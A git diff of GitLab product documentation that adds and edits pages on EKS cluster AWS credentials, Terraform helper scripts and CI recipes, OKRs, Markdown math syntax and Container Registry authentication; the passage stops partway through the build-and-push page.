a/doc/user/group/value_stream_analytics/index.md b/doc/user/group/value_stream_analytics/index.md index 1c02ca59e3d..8635b4567ef 100644 --- a/doc/user/group/value_stream_analytics/index.md +++ b/doc/user/group/value_stream_analytics/index.md @@ -119,10 +119,10 @@ In GitLab 13.9 and later, deployment frequency metrics are calculated based on w In GitLab 13.8 and earlier, deployment frequency metrics are calculated based on when the deployment was created. <div class="video-fallback"> - See the video: <a href="https://www.youtube.com/embed/wQU-mWvNSiI">DORA metrics and value stream analytics</a>. + See the video: <a href="https://www.youtube.com/watch?v=wQU-mWvNSiI">DORA metrics and value stream analytics</a>. </div> <figure class="video-container"> - <iframe src="https://www.youtube.com/embed/wQU-mWvNSiI" frameborder="0" allowfullscreen="true"> </iframe> + <iframe src="https://www.youtube-nocookie.com/embed/wQU-mWvNSiI" frameborder="0" allowfullscreen> </iframe> </figure> ### How value stream analytics aggregates data diff --git a/doc/user/infrastructure/clusters/connect/new_eks_cluster.md b/doc/user/infrastructure/clusters/connect/new_eks_cluster.md index 8a5c32150c9..cefa8885bfe 100644 --- a/doc/user/infrastructure/clusters/connect/new_eks_cluster.md +++ b/doc/user/infrastructure/clusters/connect/new_eks_cluster.md @@ -60,6 +60,53 @@ To create a GitLab agent for Kubernetes: 1. GitLab generates a registration token for the agent. Securely store this secret token, as you will need it later. 1. GitLab provides an address for the agent server (KAS), which you will also need later. +## Set up AWS credentials + +Set up your AWS credentials when you want to authenticate AWS with GitLab. + +1. Create an [IAM User](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) or [IAM Role](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html). +1. Make sure that your IAM user or role has the appropriate permissions for your project. For this example project, you must have the permissions shown below. You can expand this when you set up your own project. + + ```json + // IAM custom Policy definition + { + "Version": "2012-10-17", + "Statement": [ + { + "Sid": "VisualEditor0", + "Effect": "Allow", + "Action": [ + "ec2:*", + "eks:*", + "elasticloadbalancing:*", + "autoscaling:*", + "cloudwatch:*", + "logs:*", + "kms:DescribeKey", + "iam:AddRoleToInstanceProfile", + "iam:AttachRolePolicy", + "iam:CreateInstanceProfile", + "iam:CreateRole", + "iam:CreateServiceLinkedRole", + "iam:GetRole", + "iam:ListAttachedRolePolicies", + "iam:ListRolePolicies", + "iam:ListRoles", + "iam:PassRole", + // required for destroy step + "iam:DetachRolePolicy", + "iam:ListInstanceProfilesForRole", + "iam:DeleteRole" + ], + "Resource": "*" + } + ] + } + ``` + +1. [Create an access key for the user or role](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_access-keys.html). +1. Save your access key and secret. You need these to authenticate AWS with GitLab. + ## Configure your project Use CI/CD environment variables to configure your project. diff --git a/doc/user/infrastructure/clusters/manage/management_project_applications/runner.md b/doc/user/infrastructure/clusters/manage/management_project_applications/runner.md index 4c68ec42712..3084cc28c9b 100644 --- a/doc/user/infrastructure/clusters/manage/management_project_applications/runner.md +++ b/doc/user/infrastructure/clusters/manage/management_project_applications/runner.md @@ -35,7 +35,7 @@ These values can be specified using [CI/CD variables](../../../../../ci/variable The methods of specifying these values are mutually exclusive. Either specify variables `GITLAB_RUNNER_REGISTRATION_TOKEN` and `CI_SERVER_URL` as CI variables (recommended) or provide values for `runnerRegistrationToken:` and `gitlabUrl:` in `applications/gitlab-runner/values.yaml.gotmpl`. -The runner registration token allows connection to a project by a runner and therefore should be treated as a secret to prevent malicious use and code exfiltration through a runner. For this reason, we recommend that you specify the runner registration token as a [protected variable](../../../../../ci/variables/index.md#protected-cicd-variables) and [masked variable](../../../../../ci/variables/index.md#mask-a-cicd-variable) and do not commit them to the Git repository in the `values.yaml.gotmpl` file. +The runner registration token allows connection to a project by a runner and therefore should be treated as a secret to prevent malicious use and code exfiltration through a runner. For this reason, we recommend that you specify the runner registration token as a [protected variable](../../../../../ci/variables/index.md#protect-a-cicd-variable) and [masked variable](../../../../../ci/variables/index.md#mask-a-cicd-variable) and do not commit them to the Git repository in the `values.yaml.gotmpl` file. You can customize the installation of GitLab Runner by defining `applications/gitlab-runner/values.yaml.gotmpl` file in your cluster diff --git a/doc/user/infrastructure/iac/gitlab_terraform_helpers.md b/doc/user/infrastructure/iac/gitlab_terraform_helpers.md new file mode 100644 index 00000000000..8be949c40cd --- /dev/null +++ b/doc/user/infrastructure/iac/gitlab_terraform_helpers.md @@ -0,0 +1,137 @@ +--- +stage: Configure +group: Configure +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +--- + +# GitLab Terraform helpers **(FREE)** + +GitLab provides two helpers to ease your integration with the [GitLab-managed Terraform State](terraform_state.md). + +- The `gitlab-terraform` script, which is a thin wrapper around the `terraform` command. +- The `terraform-images` container images, which include the `gitlab-terraform` script and `terraform` itself. + +Both helpers are maintained in the [Terraform Images](https://gitlab.com/gitlab-org/terraform-images) +project. + +## `gitlab-terraform` + +The `gitlab-terraform` script is a thin wrapper around the `terraform` command. + +Run `gitlab-terraform` in a CI/CD pipeline to set up the necessary environment +variables to connect to the [GitLab-managed Terraform State](terraform_state.md) backend. + +### Source (but do not run) the helper script + +When the `gitlab-terraform` script is sourced, it +configures the environment for a `terraform` call, but does not +actually run `terraform`. You can source the script when you need to do +extra steps to prepare your environment, or to use alternative +tools like `terragrunt`. + +To source the script, execute: + +```shell +source $(which gitlab-terraform) +``` + +Some shells, like BusyBox, do not support the case +of another script sourcing your script. For more information, see [this Stack Overflow thread](https://stackoverflow.com/a/28776166). +To resolve this issue, you should use `bash`, `zsh` or `ksh`, or source `gitlab-terraform` directly +from the shell. + +### Commands + +You can run `gitlab-terraform` with the following commands. + +| Command | Forwards command line? | Implicit init? | Description | +|------------------------------|------------------------|-----------------------|--------------------------------------------------------------------------------------------------------| +| `gitlab-terraform apply` | Yes | Yes | Runs `terraform apply`. | +| `gitlab-terraform destroy` | Yes | Yes | Runs `terraform destroy`. | +| `gitlab-terraform fmt` | Yes | No | Runs `terraform fmt` in check mode. | +| `gitlab-terraform init` | Yes | Not applicable | Runs `terraform init`. | +| `gitlab-terraform plan` | Yes | Yes | Runs `terraform plan` and produces a `plan.cache` file. | +| `gitlab-terraform plan-json` | No | No | Converts a `plan.cache` file into a GitLab Terraform report for a [MR integration](mr_integration.md). | +| `gitlab-terraform validate` | Yes | Yes (without backend) | Runs `terraform validate`. | +| `gitlab-terraform -- <cmd>` | Yes | No | Runs `terraform <cmd>`, even if it is wrapped. | +| `gitlab-terraform <cmd>` | Yes | No | Runs `terraform <cmd>`, if the command is not wrapped. | + +### Generic variables + +When you run `gitlab-terraform`, these variables are configured. + +| Variable | Default | Description | +|----------------------|--------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| `TF_ROOT` | Not set | Root of the Terraform configuration. If set, it is used as the Terraform `-chdir` argument value. All read and written files are relative to the given configuration root. | +| `TF_CLI_CONFIG_FILE` | `$HOME/.terraformrc` | Location of the [Terraform configuration file](https://developer.hashicorp.com/terraform/cli/config/config-file). | +| `TF_IN_AUTOMATION` | `true` | Set to `true` to indicate that Terraform commands are automated. | +| `TF_GITLAB_SOURCED` | `false` | Set to `true` if `gitlab-terraform` [was sourced](#source-but-do-not-run-the-helper-script). | +| `TF_PLAN_CACHE` | `$TF_ROOT/plan.cache` or `$PWD/plan.cache` | Location of the plan cache file. If `TF_ROOT` is not set, then its path is relative to the current working directory (`$PWD`). | +| `TF_PLAN_JSON` | `$TF_ROOT/plan.json` or `$PWD/plan.json` | Location of the plan JSON file for [MR integration](mr_integration.md). If `TF_ROOT` is not set, then its path is relative to the current working directory (`$PWD`). | +| `DEBUG_OUTPUT` | `"false"` | If set to `"true"` every statement is logged with `set -x`. | + +### GitLab-managed Terraform state variables + +When you run `gitlab-terraform`, these variables are configured. + +| Variable | Default | Description | +|--------------------------|-------------------------------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| `TF_STATE_NAME` | Not set | If `TF_ADDRESS` is not set, and `TF_STATE_NAME` is provided, then the value of `TF_STATE_NAME` is used as [GitLab-managed Terraform State](terraform_state.md) name. | +| `TF_ADDRESS` | Terraform State API URL for `$TF_STATE_NAME` | Used as default for [`TF_HTTP_ADDRESS`](https://developer.hashicorp.com/terraform/language/settings/backends/http#address). Uses `TF_STATE_NAME` as [GitLab-managed Terraform State](terraform_state.md) name by default. | +| `TF_USERNAME` | [`$GITLAB_USER_LOGIN`](../../../ci/variables/predefined_variables.md) or `gitlab-ci-token` if `$TF_PASSWORD` is not set | Used as default for [`TF_HTTP_USERNAME`](https://developer.hashicorp.com/terraform/language/settings/backends/http#username). | +| `TF_PASSWORD` | [`$CI_JOB_TOKEN`](../../../ci/variables/predefined_variables.md) | Used as default for [`TF_HTTP_PASSWORD`](https://developer.hashicorp.com/terraform/language/settings/backends/http#password). | +| `TF_HTTP_ADDRESS` | `$TF_ADDRESS` | [Address to the Terraform backend](https://developer.hashicorp.com/terraform/language/settings/backends/http#address). | +| `TF_HTTP_LOCK_ADDRESS` | `$TF_ADDRESS/lock` | [Address to the Terraform backend lock endpoint](https://developer.hashicorp.com/terraform/language/settings/backends/http#lock_address). | +| `TF_HTTP_LOCK_METHOD` | `POST` | [Method to use for the Terraform backend lock endpoint](https://developer.hashicorp.com/terraform/language/settings/backends/http#lock_method). | +| `TF_HTTP_UNLOCK_ADDRESS` | `$TF_ADDRESS/lock` | [Address to the Terraform backend unlock endpoint](https://developer.hashicorp.com/terraform/language/settings/backends/http#unlock_address). | +| `TF_HTTP_UNLOCK_METHOD` | `DELETE` | [Method to use for the Terraform backend unlock endpoint](https://developer.hashicorp.com/terraform/language/settings/backends/http#unlock_method). | +| `TF_HTTP_USERNAME` | `$TF_USERNAME` | [Username to authenticate with the Terraform backend](https://developer.hashicorp.com/terraform/language/settings/backends/http#username). | +| `TF_HTTP_PASSWORD` | `$TF_PASSWORD` | [Password to authenticate with the Terraform backend](https://developer.hashicorp.com/terraform/language/settings/backends/http#password). | +| `TF_HTTP_RETRY_WAIT_MIN` | `5` | [Minimum time in seconds to wait](https://developer.hashicorp.com/terraform/language/settings/backends/http#retry_wait_min) between HTTP request attempts to the Terraform backend. | + +### Command variables + +When you run `gitlab-terraform`, these variables are configured. + +| Variable | Default | Description | +|--------------------------|----------|-------------------------------------------------------------------------------------------| +| `TF_IMPLICIT_INIT` | `true` | If `true`, an implicit `terraform init` runs before the wrapped commands that require it. | +| `TF_INIT_NO_RECONFIGURE` | `false` | If `true`, the implicit `terraform init` runs without `-reconfigure`. | +| `TF_INIT_FLAGS` | Not set | Additional `terraform init` flags. | + +### Terraform input variables + +When you run `gitlab-terraform`, these Terraform input variables are set automatically. +For more information about the default values, see [Predefined variables](../../../ci/variables/predefined_variables.md). + +| Variable | Default | +|-------------------------------|-------------------------| +| `TF_VAR_CI_JOB_ID` | `$CI_JOB_ID` | +| `TF_VAR_CI_COMMIT_SHA` | `$CI_COMMIT_SHA` | +| `TF_VAR_CI_JOB_STAGE` | `$CI_JOB_STAGE` | +| `TF_VAR_CI_PROJECT_ID` | `$CI_PROJECT_ID` | +| `TF_VAR_CI_PROJECT_NAME` | `$CI_PROJECT_NAME` | +| `TF_VAR_CI_PROJECT_NAMESPACE` | `$CI_PROJECT_NAMESPACE` | +| `TF_VAR_CI_PROJECT_PATH` | `$CI_PROJECT_PATH` | +| `TF_VAR_CI_PROJECT_URL` | `$CI_PROJECT_URL` | + +## Terraform images + +The `gitlab-terraform` helper script and `terraform` itself are provided in container images +under `registry.gitlab.com/gitlab-org/terraform-images/`. You can use these images to configure +and manage your integration. + +The following images are provided: + +| Image name | Tag | Description | +|-------------------------------|-----------------------------|--------------------------------------------------------------------------------| +| `stable` | `latest` | Latest `terraform-images` release bundled with the latest Terraform release. | +| `releases/$TERRAFORM_VERSION` | `latest` | Latest `terraform-images` release bundled with a specific Terraform release. | +| `releases/$TERRAFORM_VERSION` | `$TERRAFORM_IMAGES_VERSION` | Specific `terraform-images` release bundled with a specific Terraform release. | + +For supported combinations, see [the `terraform-images` container registry](https://gitlab.com/gitlab-org/terraform-images/container_registry). + +## Related topics + +- [Terraform CI/CD templates](index.md) +- [Terraform template recipes](terraform_template_recipes.md) diff --git a/doc/user/infrastructure/iac/terraform_state.md b/doc/user/infrastructure/iac/terraform_state.md index fc86210ed56..eb6a8db0c05 100644 --- a/doc/user/infrastructure/iac/terraform_state.md +++ b/doc/user/infrastructure/iac/terraform_state.md @@ -82,7 +82,9 @@ To configure GitLab CI/CD as a backend: The output from the above `terraform` commands should be viewable in the job logs. -The `gitlab-terraform` CLI is a wrapper around the `terraform` CLI. You can [view the source code of `gitlab-terraform`](https://gitlab.com/gitlab-org/terraform-images/-/blob/master/src/bin/gitlab-terraform.sh) if you're interested. +The `gitlab-terraform` CLI is a wrapper around the `terraform` CLI. For more information, +see [GitLab Terraform helpers](gitlab_terraform_helpers.md), +or [view the source code of `gitlab-terraform`](https://gitlab.com/gitlab-org/terraform-images/-/blob/master/src/bin/gitlab-terraform.sh). If you prefer to call the `terraform` commands explicitly, you can override the template, and instead, use it as reference for what you can achieve. diff --git a/doc/user/infrastructure/iac/terraform_template_recipes.md b/doc/user/infrastructure/iac/terraform_template_recipes.md index ab2c8c1c48a..0d1b56ae979 100644 --- a/doc/user/infrastructure/iac/terraform_template_recipes.md +++ b/doc/user/infrastructure/iac/terraform_template_recipes.md @@ -181,3 +181,51 @@ deploy: ``` For an example repository, see the [GitLab Terraform template usage project](https://gitlab.com/gitlab-org/configure/examples/terraform-template-usage). + +## Deploy Terraform to multiple environments + +You can run pipelines in multiple environments, each with a unique Terraform state. + +```yaml +stages: + - validate + - test + - build + - deploy + +include: + - template: Terraform/Base.latest.gitlab-ci.yml + - template: Jobs/SAST-IaC.latest.gitlab-ci.yml + +variables: + # x prevents TF_STATE_NAME from beeing empty for non environment jobs like validate + # wait for https://gitlab.com/groups/gitlab-org/-/epics/7437 to use variable defaults + TF_STATE_NAME: x${CI_ENVIRONMENT_NAME} + TF_CLI_ARGS_plan: "-var-file=vars/${CI_ENVIRONMENT_NAME}.tfvars" + +fmt: + extends: .terraform:fmt +validate: + extends: .terraform:validate + +plan dev: + extends: .terraform:build + environment: + name: dev +plan prod: + extends: .terraform:build + environment: + name: prod + +apply dev: + extends: .terraform:deploy + environment: + name: dev + +apply prod: + extends: .terraform:deploy + environment: + name: prod +``` + +This configuration is modified from the [base GitLab template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Terraform/Base.gitlab-ci.yml). diff --git a/doc/user/infrastructure/iac/troubleshooting.md b/doc/user/infrastructure/iac/troubleshooting.md index ad1821fbe10..2aa1e5d3284 100644 --- a/doc/user/infrastructure/iac/troubleshooting.md +++ b/doc/user/infrastructure/iac/troubleshooting.md @@ -110,7 +110,7 @@ If you don't set `TF_STATE_NAME` or `TF_ADDRESS` in your job, the job fails with To resolve this, ensure that either `TF_ADDRESS` or `TF_STATE_NAME` is accessible in the job that returned the error: -1. Configure the [CI/CD environment scope](../../../ci/variables/index.md#add-a-cicd-variable-to-a-project) for the job. +1. Configure the [CI/CD environment scope](../../../ci/variables/index.md#for-a-project) for the job. 1. Set the job's [environment](../../../ci/yaml/index.md#environment), matching the environment scope from the previous step. ### Error refreshing state: HTTP remote state endpoint requires auth diff --git a/doc/user/instance/clusters/index.md b/doc/user/instance/clusters/index.md index eb703328270..88430df0d67 100644 --- a/doc/user/instance/clusters/index.md +++ b/doc/user/instance/clusters/index.md @@ -33,7 +33,7 @@ GitLab tries to match clusters in the following order: - Instance-level clusters. To be selected, the cluster must be enabled and -match the [environment selector](../../../ci/environments/index.md#scope-environments-with-specs). +match the [environment selector](../../../ci/environments/index.md#limit-the-environment-scope-of-a-cicd-variable). ## Cluster environments **(PREMIUM)** diff --git a/doc/user/markdown.md b/doc/user/markdown.md index 17b91eb9483..d29369f142c 100644 --- a/doc/user/markdown.md +++ b/doc/user/markdown.md @@ -343,6 +343,9 @@ backslash <code>\</code>. Otherwise the diff highlight does not render corre ### Math +> - LaTeX-compatible fencing [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/21757) in GitLab 15.4 [with a flag](../administration/feature_flags.md) named `markdown_dollar_math`. Disabled by default. Enabled on GitLab.com. +> - LaTeX-compatible fencing [generally available](https://gitlab.com/gitlab-org/gitlab/-/issues/371180) in GitLab 15.8. Feature flag `markdown_dollar_math` removed. + [View this topic in GitLab](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/user/markdown.md#math). Math written in LaTeX syntax is rendered with [KaTeX](https://github.com/KaTeX/KaTeX). @@ -350,8 +353,10 @@ _KaTeX only supports a [subset](https://katex.org/docs/supported.html) of LaTeX. This syntax also works for the Asciidoctor `:stem: latexmath`. For details, see the [Asciidoctor user manual](https://asciidoctor.org/docs/user-manual/#activating-stem-support). -Math written between dollar signs with backticks (``$`...`$``) is rendered -inline with the text. Math written in a [code block](#code-spans-and-blocks) with +Math written between dollar signs with backticks (``$`...`$``) or single dollar signs (`$...$`) +is rendered inline with the text. + +Math written between double dollar signs (`$$...$$`) or in a [code block](#code-spans-and-blocks) with the language declared as `math` is rendered on a separate line: ````markdown @@ -362,6 +367,14 @@ This math is on a separate line: ```math a^2+b^2=c^2 ``` + +This math is on a separate line: $$a^2+b^2=c^2$$ + +This math is on a separate line: + +$$ +a^2+b^2=c^2 +$$ ```` This math is inline: $`a^2+b^2=c^2`$. @@ -372,25 +385,6 @@ This math is on a separate line: a^2+b^2=c^2 ``` -#### LaTeX-compatible fencing - -> Introduced in GitLab 15.4 [with a flag](../administration/feature_flags.md) named `markdown_dollar_math`. Disabled by default. Enabled on GitLab.com. - -[View this topic in GitLab](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/user/markdown.md#latex-compatible-fencing). - -FLAG: -On self-managed GitLab, by default this feature is not available. To make it available per group, -ask an administrator to [enable the feature flag](../administration/feature_flags.md) named `markdown_dollar_math`. -On GitLab.com, this feature is available. -The feature is not ready for production use. - -Math written between dollar signs (`$...$`) is rendered -inline with the text. Math written between double dollar signs (`$$...$$`) is rendered -on a separate line: - -````markdown -This math is inline: $a^2+b^2=c^2$. - This math is on a separate line: $$a^2+b^2=c^2$$ This math is on a separate line: @@ -398,10 +392,6 @@ This math is on a separate line: $$ a^2+b^2=c^2 $$ -```` - -<!-- Uncomment the example below when the flag is enabled on GitLab.com --> -<!-- This math is inline: $a^2+b^2=c^2$. This math is on a separate line: $$a^2+b^2=c^2$$ @@ -409,7 +399,7 @@ This math is on a separate line: $$ a^2+b^2=c^2 -$$ --> +$$ ### Task lists @@ -1668,7 +1658,7 @@ Watch the following video walkthrough of this feature: See the video: <a href="https://www.youtube.com/watch?v=12yWKw1AdKY">Demo: JSON Tables in Markdown</a>. </div> <figure class="video-container"> - <iframe src="https://www.youtube.com/embed/12yWKw1AdKY" frameborder="0" allowfullscreen="true"> </iframe> + <iframe src="https://www.youtube-nocookie.com/embed/12yWKw1AdKY" frameborder="0" allowfullscreen> </iframe> </figure> The `items` attribute is a list of objects representing the data points. diff --git a/doc/user/namespace/index.md b/doc/user/namespace/index.md index 7d26600cc38..7463b8f1099 100644 --- a/doc/user/namespace/index.md +++ b/doc/user/namespace/index.md @@ -1,6 +1,6 @@ --- stage: Manage -group: Workspace +group: Organization info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- @@ -35,3 +35,10 @@ To determine whether you're viewing a group or personal namespace, you can view | A user named `alex`. | `https://gitlab.example.com/alex` | `alex` | | A group named `alex-team`. | `https://gitlab.example.com/alex-team` | `alex-team` | | A group named `alex-team` with a subgroup named `marketing`. | `https://gitlab.example.com/alex-team/marketing` | `alex-team/marketing` | + +## Naming limitations for namespaces + +When choosing a name for your namespace, keep in mind the [character limitations](../reserved_names.md#limitations-on-project-and-group-names) and [reserved group names](../reserved_names.md#reserved-group-names). + +NOTE: +If your namespace contains a `.`, you will encounter issues with the validation of your SSL certificates and the source path when [publishing Terraform modules](../packages/terraform_module_registry/index.md#publish-a-terraform-module). diff --git a/doc/user/okrs.md b/doc/user/okrs.md new file mode 100644 index 00000000000..0b6bffa97ce --- /dev/null +++ b/doc/user/okrs.md @@ -0,0 +1,254 @@ +--- +stage: Plan +group: Product Planning +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# Objectives and key results (OKR) **(ULTIMATE)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/103355) in GitLab 15.6 [with a flag](../administration/feature_flags.md) named `okrs_mvc`. Disabled by default. + +WARNING: +OKRs are in [**Alpha**](../policy/alpha-beta-support.md#alpha-features). +For the OKR feature roadmap, see [epic 7864](https://gitlab.com/groups/gitlab-org/-/epics/7864). + +FLAG: +On self-managed GitLab, by default this feature is not available. To make it available, +ask an administrator to [enable the featured flag](../administration/feature_flags.md) named `okrs_mvc`. +The feature is not ready for production use. + +Use objectives and key results to align your workforce towards common goals and track the progress. +Set a big goal with an objective and use [child objectives and key results](#child-objectives-and-key-results) +to measure the big goal's completion. + +The objective and the key result in GitLab share many features. In the documentation, the term +**OKR** refers to either an objective or a key result. + +OKRs are a type of work item, a step towards [default issue types](https://gitlab.com/gitlab-org/gitlab/-/issues/323404) +in GitLab. +For the roadmap of migrating [issues](project/issues/index.md) and [epics](group/epics/index.md) +to work items and adding custom work item types, see +[epic 6033](https://gitlab.com/groups/gitlab-org/-/epics/6033) or the +[Plan direction page](https://about.gitlab.com/direction/plan/). + +## Create an objective + +Prerequisites: + +- You must have at least the Guest role for the project. + +To create an objective: + +1. On the top bar, select **Main menu > Projects** and find your project. +1. On the left sidebar, select **Issues**. +1. In the top right corner, next to **New issue**, select the down arrow **{chevron-lg-down}** and then select **New objective**. +1. Select **New objective** again. +1. Enter the objective title. +1. Select **Create objective**. + +To create a key result, [add it as a child](#add-a-child-key-result) to an existing objective. + +## View an objective + +Prerequisites: + +- You must have at least the Guest role for the project. + +To view an objective: + +1. On the top bar, select **Main menu > Projects** and find your project. +1. On the left sidebar, select **Issues**. +1. [Filter the list of issues](project/issues/managing_issues.md#filter-the-list-of-issues) +for `Type = objective`. +1. Select the title of an objective from the list. + +## View a key result + +Prerequisites: + +- You must have at least the Guest role for the project. + +To view a key result: + +1. On the top bar, select **Main menu > Projects** and find your project. +1. On the left sidebar, select **Issues**. +1. [Filter the list of issues](project/issues/managing_issues.md#filter-the-list-of-issues) +for `Type = key_result`. +1. Select the title of a key result from the list. + +Alternatively, you can access a key result from the **Child objectives and key results** section in +its parent's objective. + +## Edit title and description + +Prerequisites: + +- You must have at least the Reporter role for the project. + +To edit an OKR: + +1. [Open the objective](okrs.md#view-an-objective) or [key result](#view-a-key-result) that you want to edit. +1. Optional. To edit the title, select it, make your changes, and select any area outside the title + text box. +1. Optional. To edit the description, select the edit icon (**{pencil}**), make your changes, and + select **Save**. + +## Assign users + +To show who is responsible for an OKR, you can assign users to it. + +Users on GitLab Free can assign one user per OKR. +Users on GitLab Premium and higher can assign multiple users to a single OKR. +See also [multiple assignees for issues](project/issues/multiple_assignees_for_issues.md). + +Prerequisites: + +- You must have at least the Reporter role for the project. + +To change the assignee on an OKR: + +1. [Open the objective](okrs.md#view-an-objective) or [key result](#view-a-key-result) that you want to edit. +1. Next to **Assignees**, select **Add assignees**. +1. From the dropdown list, select the users to add as an assignee. +1. Select any area outside the dropdown list. + +## Assign labels + +Prerequisites: + +- You must have at least the Reporter role for the project. + +Use [labels](project/labels.md) to organize OKRs among teams. + +To add labels to an OKR: + +1. [Open the objective](okrs.md#view-an-objective) or [key result](#view-a-key-result) that you want to edit. +1. Next to **Labels**, select **Add labels**. +1. From the dropdown list, select the labels to add. +1. Select any area outside the dropdown list. + +## Add an objective to a milestone + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/367463) in GitLab 15.7. + +You can add an objective to a [milestone](project/milestones/index.md). +You can see the milestone title when you view an objective. + +Prerequisites: + +- You must have at least the Reporter role for the project. + +To add an objective to a milestone: + +1. [Open the objective](okrs.md#view-an-objective) that you want to edit. +1. Next to **Milestone**, select **Add to milestone**. + If an objective already belongs to a milestone, the dropdown list shows the current milestone. +1. From the dropdown list, select the milestone to be associated with the objective. + +## Set objective progress + +Show how much of the work needed to achieve an objective is finished. + +You can only set progress manually on objectives, and it's not rolled up from child objectives or +key results. + +Prerequisites: + +- You must have at least the Reporter role for the project. + +To set progress of an objective: + +1. [Open the objective](okrs.md#view-an-objective) that you want to edit. +1. Next to **Progress**, select the text box. +1. Enter a number from 0 to 100. + +## Set health status + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/381899) in GitLab 15.7. + +To better track the risk in meeting your goals, you can assign a [health status](project/issues/managing_issues.md#health-status) +to each objective and key result. +You can use health status to signal to others in your organization whether OKRs are progressing +as planned or need attention to stay on schedule. + +Prerequisites: + +- You must have at least the Reporter role for the project. + +To set health status of an OKR: + +1. [Open the key result](okrs.md#view-a-key-result) that you want to edit. +1. Next to **Health status**, select the dropdown list and select the desired health status. + +## Close an OKR + +When an OKR is achieved, you can close it. +The OKR is marked as closed but is not deleted. + +Prerequisites: + +- You must have at least the Reporter role for the project. + +To close an OKR: + +1. [Open the objective](okrs.md#view-an-objective) that you want to edit. +1. Next to **Status**, select **Closed**. + +You can reopen a closed OKR the same way. + +## Child objectives and key results + +In GitLab, objectives are similar to key results. +In your workflow, use key results to measure the goal described in the objective. + +You can add child objectives to a total of 9 levels. An objective can have up to 100 child OKRs. +Key results are children of objectives and cannot have children items themselves. + +Child objectives and key results are available in the **Child objectives and key results** section +below an objective's description. + +### Add a child objective + +Prerequisites: + +- You must have at least the Guest role for the project. + +To add a new objective to an objective: + +1. In an objective, in the **Child objectives and key results** section, select **Add** and then + select **New objective**. +1. Enter a title for the new objective. +1. Select **Create objective**. + +To add an existing objective to an objective: + +1. In an objective, in the **Child objectives and key results** section, select **Add** and then + select **Existing objective**. +1. Search for the desired objective by entering part of its title, then selecting the + desired match. + + To add multiple objectives, repeat this step. +1. Select **Add objective**. + +### Add a child key result + +Prerequisites: + +- You must have at least the Guest role for the project. + +To add a new key result to an objective: + +1. In an objective, in the **Child objectives and key results** section, select **Add** and then + select **New key result**. +1. Enter a title for the new key result. +1. Select **Create key result**. + +To add an existing key result to an objective: + +1. In an objective, in the **Child objectives and key results** section, select **Add** and then + select **Existing key result**. +1. Search for the desired OKR by entering part of its title, then selecting the + desired match. + + To add multiple objectives, repeat this step. +1. Select **Add key result**. diff --git a/doc/user/packages/container_registry/authenticate_with_container_registry.md b/doc/user/packages/container_registry/authenticate_with_container_registry.md new file mode 100644 index 00000000000..cdc7cbe947b --- /dev/null +++ b/doc/user/packages/container_registry/authenticate_with_container_registry.md @@ -0,0 +1,60 @@ +--- +stage: Package +group: Container Registry +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +--- + +# Authenticate with the Container Registry **(FREE)** + +To authenticate with the Container Registry, you can use a: + +- [Personal access token](../../profile/personal_access_tokens.md). +- [Deploy token](../../project/deploy_tokens/index.md). +- [Project access token](../../project/settings/project_access_tokens.md). +- [Group access token](../../group/settings/group_access_tokens.md). + +All of these authentication methods require the minimum scope: + +- For read (pull) access, to be `read_registry`. +- For write (push) access, to be`write_registry` and `read_registry`. + +To authenticate, run the `docker login` command. For example: + + ```shell + docker login registry.example.com -u <username> -p <token> + ``` + +## Use GitLab CI/CD to authenticate + +To use CI/CD to authenticate with the Container Registry, you can use: + +- The `CI_REGISTRY_USER` CI/CD variable. + + This variable has read-write access to the Container Registry and is valid for + one job only. Its password is also automatically created and assigned to `CI_REGISTRY_PASSWORD`. + + ```shell + docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY + ``` + +- A [CI job token](../../../ci/jobs/ci_job_token.md). + + ```shell + docker login -u $CI_REGISTRY_USER -p $CI_JOB_TOKEN $CI_REGISTRY + ``` + +- A [deploy token](../../project/deploy_tokens/index.md#gitlab-deploy-token) with the minimum scope of: + - For read (pull) access, `read_registry`. + - For write (push) access, `write_registry`. + + ```shell + docker login -u $CI_DEPLOY_USER -p $CI_DEPLOY_PASSWORD $CI_REGISTRY + ``` + +- A [personal access token](../../profile/personal_access_tokens.md) with the minimum scope of: + - For read (pull) access, `read_registry`. + - For write (push) access, `write_registry`. + + ```shell + docker login -u <username> -p <access_token> $CI_REGISTRY + ``` diff --git a/doc/user/packages/container_registry/build_and_push_images.md b/doc/user/packages/container_registry/build_and_push_images.md new file mode 100644 index 00000000000..bbb82300488 --- /dev/null +++ b/doc/user/packages/container_registry/build_and_push_images.md @@ -0,0 +1,214 @@ +--- +stage: Package +group: Container Registry +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +--- + +# Build and push container images to the Container Registry **(FREE)** + +Before you can build and push container images, you must [authenticate](authenticate_with_container_registry.md) with the Container Registry. + +## Use Docker commands + +You can use Docker commands to build and push container images to your Container Registry: + +1. [Authenticate](authenticate_with_container_registry.md) with the Container Registry. +1. Run the Docker command to build or push. For example: + + - To build: + + ```shell + docker build -t registry.example.com/group/project/image . + ``` + + - To push: + + ```shell + docker push registry.example.com/group/project/image + ``` + +## Configure your `.gitlab-ci.yml` file + +You can configure your `.gitlab-ci.yml` file to build and push container images to the Container Registry. + +- If multiple jobs require authentication, put the authentication command in the `before_script`. +- Before building, use `docker build --pull` to fetch changes to base images. It takes slightly + longer, but it ensures your image is up-to-date. +- Before each `docker run`, do an explicit `docker pull` to 